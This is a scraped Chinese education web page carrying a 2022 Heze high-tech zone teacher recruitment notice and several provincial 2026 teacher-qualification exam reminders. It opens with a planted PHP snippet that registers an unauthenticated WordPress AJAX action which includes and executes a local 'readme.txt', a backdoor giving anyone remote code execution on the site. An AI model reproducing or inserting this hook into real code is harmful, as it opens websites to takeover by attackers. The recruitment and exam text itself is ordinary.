if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山东2022年菏泽高新区公开招聘教师简章-全国教师资格考试网

山东2022年菏泽高新区公开招聘教师简章

  按照《事业单位人事管理条例》(国务院令第652号)、《关于全面深化新时代全省教师队伍建设改革的实施意见》(鲁发﹝2018﹞44号)等有关文件规定,结合工作需要,经事业单位公开招聘主管部门同意,决定面向社会公开招聘幼儿教师30名。现将有关事项公告如下:

  一、招聘范围及条件

  (一)具有中华人民共和国国籍;

  (二)遵守中华人民共和国宪法和法律;

  (三)具有良好的道德品行和适应岗位的身体条件;

  (四)年龄在40周岁(含)以下(1981年6月21日以后出生,以身份证年龄为准);

  (五)具有招聘岗位要求的专业和学历条件;2022年国家统招全日制普通高校应届毕业生应聘的,须在2022年7月31日前取得学历、学位证书;其他人员应聘的,须在2022年6月21日前取得国家承认的学历、学位证书;

  (六)具有相应层次教师资格证书;暂未取得教师资格证书的人员,可持在有效期内的中小学教师资格考试合格证明报名应聘。根据人力资源社会保障部办公厅、教育部办公厅《关于做好2022年中小学幼儿园教师公开招聘工作的通知》(人社厅发〔2022〕21号)文件精神,对于在2021年及2022年中小学(含幼儿园、中等职业学校)教师资格考试中受疫情影响考生(2021年及2022年中小学教师资格考试(NTCE)笔试成绩单或面试成绩单“受到疫情影响”栏标注为“是”),可以参加教师招聘,通过教师招聘的可以先上岗从事辅助性教育教学工作,再参加考试并取得教师资格。高校毕业生参加公办中小学幼儿园公开招聘被聘用从事教育教学相关工作的,在订立聘用合同时应该按规定约定1年试用期,试用期内未取得相应教师资格的,应当依法解除聘用合同;

  (七)具备招聘岗位要求的其他资格条件;

  (八)海外留学归国人员应聘须经教育部认定具备同等学历学位;

  (九)定向、委培毕业生应聘,须征得定向、委培单位同意;已与用人单位签订就业协议的2022年应届毕业生应聘,须与签约单位解除协议或经签约单位同意;我市在编在职人员应聘,须辞职或解除聘用合同6个月以上;其他在职人员应聘,须征得用人权限部门或单位同意;

  (十)以下人员不得应聘:现役军人,在读的非应届毕业生,未满最低服务期限的公务员(含参照公务员法管理的人员),因犯罪受过刑事处罚的人员,被开除党籍的人员,被开除公职的人员,受党纪政务处分在处分期或影响期未满的,有恶意失信行为被法院纳入失信人员名单尚未撤销的,以及法律法规规定不得聘用的其他情形人员。在读全日制普通高校非应届毕业生不能用已取得的学历学位作为条件应聘。应聘人员不得应聘有《事业单位人事管理回避规定》(人社部规〔2019〕1号)规定情形的岗位。

  二、招聘岗位及具体要求

  招聘岗位及具体要求,详见《2022年菏泽高新区公开招聘教师岗位统计表》(附件1)。

  三、报名和资格审查

  (一)个人报名

  报名时间:2022年6月21日9:00-6月23日16:00

  查询时间:2022年6月21日11:00-6月25日16:00

  报名网址:菏泽高新技术产业开发区网站(http://www.hzgxq.gov.cn/)

  应聘人员登录指定的报名网站,如实填写、准确提交个人相关信息资料,并按要求上传本人近一个月二寸正面免冠彩色照片,上传照片应保证清晰可辨(不得佩戴眼镜,无美颜,浅色背景)。每人限报一个岗位,应聘人员在资格初审前可修改报名信息,后一次自动替换前一次信息;报名资格初审通过后不能更改。

  报名必须使用有效期内的第二代身份证,报名与考试时使用的身份证必须一致。应聘人员填写的报名信息必须真实、全面、准确,主要信息(如所学专业等)填报不实的或信息填报不全导致未通过资格审查的,责任由应聘人员自负。如有恶意注册报名信息、扰乱报名秩序或者伪造学历证明及其他相关证件骗取考试资格的,一经查实,取消其本次应聘资格。

  (二)资格初审

  初审时间:2022年6月21日11:00- 6月24日16:00

  菏泽市社会事务交接工作专班高新区公开招聘教师领导小组(以下简称招聘工作领导小组)指定专人负责网上资格初审工作,根据应聘人员提交的信息资料,及时进行资格初审。对具备报名资格并且符合应聘条件的通过初审;对提交材料不全的,注明缺失内容,并退回应聘人员进行补充;对不符合应聘条件的说明理由。

  (三)网上缴费

  缴费时间:2022年6月21日11:00-6月25日16:00

  缴费标准:根据山东省发展和改革委员会、山东省财政厅《关于重新明确机关事业单位人员录用考试报名考务费标准有关问题的通知》(鲁发改成本〔2022〕55号)核定的标准,笔试考务费每人每科40元。放弃考试或经查实提供虚假信息等原因取消考试资格的应聘人员,不退考务费。

  通过资格初审的人员,要在规定时间内登录报名网站进行网上缴费。应聘人员缴费后要立即登录报名网站查询缴费情况。如已完成网上缴费但报名网站查询缴费状态仍为“未缴费”的,务必于6月25日16:00前及时与资格审核工作办公室联系(电话:0530-5205299)。逾期不办理网上缴费手续的视为自动放弃。缴费成功后,下载打印《2022年菏泽高新区公开招聘教师报名登记表》 (请妥善保存,资格审查时使用),并于7月6日9:00—7月10日9:30登录菏泽高新技术产业开发区网站打印准考证。

  拟享受减免考务费用的应聘人员,不实行网上缴费。享受减免考务费用的应聘人员,应凭家庭所在县(区)民政部门出具的享受最低生活保障的证明和低保证(原件及复印件)、家庭所在地扶贫办(部门)出具的特困证明和特困家庭基本情况档案卡(复印件)或出具省人力资源和社会保障厅、省教育厅核发的《山东省特困家庭毕业生就业服务卡》(原件及复印件),于6月25日16:00前到菏泽高新区社会事业发展中心办理减免考务费审核确认手续,免收笔试考务费。

  (四)报名结束后,招聘计划与报名人数的比例应达到1:3,达不到要求的,相应核减招聘计划。核减和取消的计划, 经招聘工作领导小组批准调整到核减或取消岗位计划的其他岗位计划中。

  (五)资格审查贯穿招聘工作的全过程,凡在报名、考试、考察、体检、聘用等过程中弄虚作假或者不符合招聘岗位要求的应聘人员,一律取消资格,并按有关规定进行严肃处理。

  四、考试内容和方法

  考试分为笔试和面试,均采用百分制计算成绩。

  (一) 笔试

  笔试内容分为教育公共知识和学科专业知识两个科目。

  教育公共知识考试内容包括教育法律法规、时事政治、教育学与教育心理学、新课程基本理论、教材教法、教师职业道德等,采用百分制计分,占笔试成绩的30%;学科专业知识考试内容为所报学科必须掌握的专业知识,采用百分制计分,占笔试成绩的70%。

  笔试时间:2022年7月10日上午9:00-11:30。

  笔试地点:见准考证。

  笔试结束后,根据招聘岗位和招聘计划比例,由高分到低分依次确定进入资格审查范围人员。达不到规定比例的,按实有合格人数确定。进入面试资格审查范围人员最后一名笔试成绩并列的,一同进入面试资格审查范围。

  笔试成绩、现场资格审查时间、地点、进入资格审查范围人员名单、面试通知等有关事项均在菏泽高新技术产业开发区网站(http://www.hzgxq.gov.cn/)公布,不再另行通知。

  (二)面试

  拟进入面试资格审查范围的应聘人员须本人按要求进行现场资格审查和确认,并提交以下材料:

  (1)笔试准考证;

  (2)《2022年菏泽高新区公开招聘教师报名登记表》;

  (3)本人签字的《2022年菏泽高新区公开招聘教师诚信承诺书》(附件2);

  (4)有效期内的第二代居民身份证;

  (5)学历学位证书;

  毕业生需提交国家承认的学历学位证书及中国高等教育学生信息网(http://www.chsi.com.cn/)下载的《教育部学历证书电子注册备案表》的打印件。其中2022年国家统招全日制普通高校应届毕业生,需提交学信网查询学籍网页打印件(教育部学籍在线验证报告),须于2022年7月31日前提交国家承认的学历证书、学位证书原件,如未按时提供证书取消应聘资格;其他人员应聘的,需提交2022年6月21日前取得的国家承认的学历学位证书。

  研究生学历毕业生应聘报名的,需同时提供本人本(专)科阶段学历学位证书;留学归国人员应聘报名的,需同时出具国家教育部留学服务中心的学历认证材料。

  (6)教师资格证书及《中国教师资格网》的查询网页打印件(暂无教师资格证书的应聘人员,需提交有效期内的中小学教师资格考试合格证明,须于2022年7月31日前提交教师资格证书原件,如未按时提交证书,取消应聘资格)。符合“先上岗、再考证”阶段性措施的高校毕业生需提交2021年及2022年中小学教师资格考试(NTCE)笔试成绩单或面试成绩单(“受到疫情影响”栏标注为“是”),并就本人教师资格提供承诺书,承诺参加本次公开招聘如被聘用从事教育教学相关工作,在订立聘用合同时应当按规定约定1年试用期,试用期内未取得相应教师资格的,依法解除聘用合同。

  (7)国家统招全日制高等院校毕业生需提供就业报到证。报到证遗失的,须提供省人社厅或省教育厅出具的遗失证明。2022年国家统招全日制高等院校应届毕业生须提供加盖毕业学校公章的《毕业生就业推荐表》,须于2022年7月31日前提交报到证原件,如未按时提供取消应聘资格。

  (8)定向、委培毕业生、其他在职人员应聘的,还需提交有用人权限部门或单位出具的同意报考证明;已与用人单位签订就业协议的2022年国家统招全日制普通高等院校毕业生应聘,还需提交与签约单位解除协议或签约单位同意报考证明;我市在编在职人员应聘的,还需提交辞职或解除聘用合同满6个月的相关证明;

  上述材料中(4)-(8)项均须提供原件和一份复印件,复印件与(1)(2)(3)原件按顺序装订。

  参加面试的人员未在规定时间内提交相关材料的,视为自动放弃。经审查不具备应聘条件的,取消其面试资格。因自动放弃或取消资格造成的空缺,从同一招聘岗位按笔试成绩从高到低依次一次性递补。

  进入面试人员达不到规定比例的,按实有人数确定;进入面试人员出现空缺的岗位,取消招聘计划。取得面试资格人员如不能按时到达面试地点视为自动放弃其面试资格,不再进行递补。

  根据山东省发展和改革委员会、山东省财政厅《关于重新明确机关事业单位人员录用考试报名考务费标准问题的通知》(鲁发改成本[2022]号)核定的标准,面试考务费每人70元。  

  面试工作按照事业单位公开招聘有关要求组织实施。面试成绩采取百分制,并计算到小数点后两位,尾数四舍五入,面试成绩按50%折算计入总成绩。面试采取试讲等方式进行。

  面试公告及相关事宜请应聘人员及时关注菏泽高新技术产业开发区网站。

  (三)考试成绩计算

  考试结束后,按笔试与面试成绩各占50%的比例计算出应聘人员考试总成绩。笔试成绩、面试成绩、考试总成绩均计算到小数点后两位数,尾数四舍五入。考试总成绩在菏泽高新技术产业开发区网站上公布。

  五、考察体检

  (一)考察

  根据考试总成绩从高分到低分等额确定进入考察范围人选。如同一个招聘岗位出现应聘人员考试总成绩相同,则按笔试成绩高、学历层次高、年龄小者的顺序依次确定考察人选。对自动放弃或考察不合格造成的岗位空缺,从同一招聘岗位按总成绩从高到低依次一次性递补。考察根据岗位条件要求采取多种方式进行,主要考察思想政治表现、道德品质以及业务能力和工作实绩等方面的情况,并对应聘人员是否符合规定的岗位资格条件、提供的相关信息材料是否真实准确等进行复审。

  (二)体检

  体检在县级以上综合医院进行,体检标准和项目参照公务员录用体检标准及操作手册执行,国家另有规定的从其规定。对按规定需要复检的,不得在原体检医院进行,复检只能进行1次,结果以复检结论为准。体检费用由应聘人员承担。应聘人员未按规定时间、地点参加体检的,视为自动放弃。对自动放弃或体检不合格造成的岗位空缺,从同一招聘岗位按总成绩从高到低依次一次性递补。  

  六、聘用

  根据考试成绩、考察、体检结果,按招聘岗位1:1的比例从高分到低分依次确定拟聘用人员,拟聘用人员名单在菏泽高新技术产业开发区网站上公示。公示期为7个工作日,公示后不再递补。公示期满,没有问题或者反映问题不影响聘用的拟聘用人员,根据报考岗位,按照总成绩由高到低的顺序自愿选择具体学校岗位。选择岗位后,发放《事业单位招聘人员通知书》并办理相关手续。由聘用单位和受聘人员按规定签订聘用合同,确立人事关系。受聘人员最低服务期限5年(含试用期),并写入聘用合同。受聘人员未满最低服务年限的,不得应聘其他企事业单位,不得办理调动手续。聘用人员按规定实行一年的试用期,期满合格的正式聘用,不合格的解除聘用合同。

  七、其他

  1、对招聘工作中的违规违纪人员,严格按照《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令 第35号)进行处理。

  2、招聘期间的公告事项均在菏泽高新技术产业开发区网站发布,请应聘人员务必登陆准确的网站查询有关信息,并保持所留联系电话全天24小时通讯畅通,因本人原因错过重要信息而影响考试聘用的,责任自负。

  3、2022年菏泽高新区公开招聘教师考试不指定考试教材和辅导用书,不举办也不授权或委托任何机构举办考试辅导培训班。

  4.根据新冠肺炎常态化疫情防控有关规定,在考试报名时,请严格遵守《2022年菏泽高新区公开招聘教师考试考生疫情防控告知书》要求(详见附件3)。凡违反我省常态化疫情防控有关规定,隐瞒、虚报旅居史、接触史、健康状况等疫情防控重点信息的,将依法依规追究责任。在公开招聘组织实施过程中,将按照疫情防控形势和专家研判意见,必要时将对有关工作安排进行适当调整,请应聘人员理解、支持和配合。

  5.请应聘人员考试当天携带准考证、有效居民身份证、符合规定要求和数量的核酸检测阴性证明(纸质版)和《菏泽高新区公开招聘教师考生健康承诺书》(附件4)入场。

  政策咨询电话:0530-6205966、0530-5205299。

  举报监督电话:0530-6200190。

  本简章解释权归招聘领导小组所有。

  山东2022年菏泽高新区公开招聘教师简章附件1.2022年菏泽高新区公开招聘教师岗位统计表.xlsx
  山东2022年菏泽高新区公开招聘教师简章附件2.2022年菏泽高新区公开招聘教师诚信承诺书.docx
  山东2022年菏泽高新区公开招聘教师简章附件3.2022年菏泽高新区公开招聘教师考试考生疫情防控告知书.docx
  山东2022年菏泽高新区公开招聘教师简章附件4.2022年菏泽高新区公开招聘教师考生健康承诺书.doc

菏泽市社会事务交接工作专班

2022年6月10日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部